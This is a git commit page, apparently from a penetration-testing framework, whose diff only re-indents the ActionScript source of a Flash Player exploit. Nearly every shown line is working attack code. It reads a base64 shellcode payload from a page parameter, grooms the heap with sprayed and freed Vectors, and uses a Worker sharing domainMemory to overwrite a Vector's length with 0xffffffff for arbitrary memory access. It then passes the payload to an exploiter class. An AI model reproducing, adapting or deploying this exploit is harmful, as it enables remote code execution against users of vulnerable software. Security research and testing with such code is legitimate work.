Fix exploit indentation
This commit is contained in:
jvazquez-r7
parent
64562565fb
commit
af31112646
|
|
@ -12,89 +12,89 @@
|
|||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.events.Event
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.Worker
|
||||
import flash.system.WorkerDomain
|
||||
import flash.system.MessageChannel
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
import flash.display.Sprite
|
||||
import flash.events.Event
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.Worker
|
||||
import flash.system.WorkerDomain
|
||||
import flash.system.MessageChannel
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var worker:Worker
|
||||
private var mc:MessageChannel
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var os:String
|
||||
private var exploiter:Exploiter
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var worker:Worker
|
||||
private var mc:MessageChannel
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var os:String
|
||||
private var exploiter:Exploiter
|
||||
|
||||
public function Exploit()
|
||||
{
|
||||
if (Worker.current.isPrimordial) mainThread()
|
||||
else workerThread()
|
||||
}
|
||||
public function Exploit()
|
||||
{
|
||||
if (Worker.current.isPrimordial) mainThread()
|
||||
else workerThread()
|
||||
}
|
||||
|
||||
private function mainThread():void
|
||||
{
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray()
|
||||
private function mainThread():void
|
||||
{
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray()
|
||||
|
||||
ba.length = 0x1000
|
||||
ba.shareable = true
|
||||
for (var i:uint = 0; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<uint>(1014)
|
||||
ov[i][0] = 0xdeedbeef
|
||||
}
|
||||
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
||||
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
||||
mc = worker.createMessageChannel(Worker.current)
|
||||
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
||||
worker.setSharedProperty("mc", mc)
|
||||
worker.setSharedProperty("ba", ba)
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
worker.start()
|
||||
}
|
||||
ba.length = 0x1000
|
||||
ba.shareable = true
|
||||
for (var i:uint = 0; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<uint>(1014)
|
||||
ov[i][0] = 0xdeedbeef
|
||||
}
|
||||
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
||||
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
||||
mc = worker.createMessageChannel(Worker.current)
|
||||
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
||||
worker.setSharedProperty("mc", mc)
|
||||
worker.setSharedProperty("ba", ba)
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
worker.start()
|
||||
}
|
||||
|
||||
private function workerThread():void
|
||||
{
|
||||
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
||||
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
||||
var tmp:ByteArray = new ByteArray()
|
||||
tmp.length = 0x2000
|
||||
private function workerThread():void
|
||||
{
|
||||
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
||||
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
||||
var tmp:ByteArray = new ByteArray()
|
||||
tmp.length = 0x2000
|
||||
|
||||
for (var i:uint = 0; i < 20; i++) {
|
||||
new Vector.<uint>(1022)
|
||||
}
|
||||
for (var i:uint = 0; i < 20; i++) {
|
||||
new Vector.<uint>(1022)
|
||||
}
|
||||
|
||||
ba.writeBytes(tmp)
|
||||
ov[0] = new Vector.<uint>(1022)
|
||||
ba.writeBytes(tmp)
|
||||
ov[0] = new Vector.<uint>(1022)
|
||||
|
||||
mc.send("")
|
||||
while (mc.messageAvailable);
|
||||
mc.send("")
|
||||
while (mc.messageAvailable);
|
||||
|
||||
for (i = 0;; i++) {
|
||||
if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
|
||||
ov[0][i] = 0xffffffff
|
||||
break
|
||||
}
|
||||
}
|
||||
ov[0][0xfffffffe] = 1014
|
||||
for (i = 0;; i++) {
|
||||
if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
|
||||
ov[0][i] = 0xffffffff
|
||||
break
|
||||
}
|
||||
}
|
||||
ov[0][0xfffffffe] = 1014
|
||||
|
||||
mc.send("")
|
||||
}
|
||||
mc.send("")
|
||||
}
|
||||
|
||||
private function onMessage(e:Event):void
|
||||
{
|
||||
|
|
@ -119,5 +119,5 @@ package
|
|||
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
Loading…
Reference in New Issue